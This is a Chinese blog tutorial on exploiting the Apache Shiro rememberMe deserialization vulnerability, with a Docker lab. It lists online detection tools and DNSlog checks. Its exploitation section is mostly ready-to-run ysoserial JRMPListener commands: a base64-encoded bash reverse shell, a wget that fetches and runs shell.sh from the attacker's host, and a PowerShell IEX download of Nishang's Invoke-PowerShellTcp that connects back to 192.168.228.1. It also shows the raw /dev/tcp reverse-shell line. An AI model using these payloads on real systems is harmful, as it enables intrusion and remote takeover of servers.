Shiro 反序列化漏洞利用

环境搭建

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 80:8080 medicean/vulapps:s_shiro_1       # 80是指靶机端口,可随意修改

Windows安装模块:pip install pycryptodome

挖掘思路


判断漏洞

登录的时候发现 rememberMe 参数,判断是 shiro

Shiro 反序列化漏洞利用_第1张图片

(外网可以访问的情况下)利用在线POC进行验证:http://sbd.ximcx.cn/ShiroRce/

Shiro 反序列化漏洞利用_第2张图片

利用 Python POC 也可以检测:https://github.com/Medicean/VulApps/blob/master/s/shiro/1/poc.py

登录:http://admin.dnslog.link/ 账号:test 密码:123456

Shiro 反序列化漏洞利用_第3张图片

也可以使用在线的 dnslog 平台:http://www.dnslog.cn/ http://ceye.io/

可以修改他的 dnslog 地址,如果收到请求了说明漏洞存在

Shiro 反序列化漏洞利用_第4张图片

漏洞利用


Linux 直接反弹 shell

生成反弹shell命令:http://www.jackson-t.ca/runtime-exec-payloads.html

Shiro 反序列化漏洞利用_第5张图片

(VPS)监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOC4xLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'

注意:靶机是 CommonsCollections2 真实环境一般是:5,我也碰到过是 3 的,到时随机应变

利用POC生成Payload

PS:网上可以找到POC和工具,也有一些大佬写了python可以直接利用的,下面是手工利用方法

Shiro 反序列化漏洞利用_第6张图片

(VPS)监听端口,执行 Payload,就成功反弹 Shell 回来了

Shiro 反序列化漏洞利用_第7张图片

Linux 利用下载 shell 脚本进行反弹 shell

在服务器创建一个 shell.sh 脚本,开启 http

bash -i >& /dev/tcp/192.168.228.1/2333 0>&1

进行监听,利用 wget 进行下载,当然也可以使用 curl

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'wget http://192.168.228.1/shell.sh -O /tmp/shell.sh'

Shiro 反序列化漏洞利用_第8张图片

执行 Payload,再次进行监听来执行 .sh 文件,同时服务器进行监听端口,等到shell反弹回来

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections2 'bash /tmp/shell.sh'

Shiro 反序列化漏洞利用_第9张图片

Shiro 反序列化漏洞利用_第10张图片

windows 利用 powershell 反弹 shell

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections5 "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.228.1 -port 2333"

本地环境搞了半天没成功,就不截图了。大概一样的操作,也可以下载下来执行。

文末

不懂代码,不懂分析,终究是个脚本小子啊。永远不知道文章会不会有下次更新,毕竟太菜和太懒了

你可能感兴趣的:(Shiro 反序列化漏洞利用)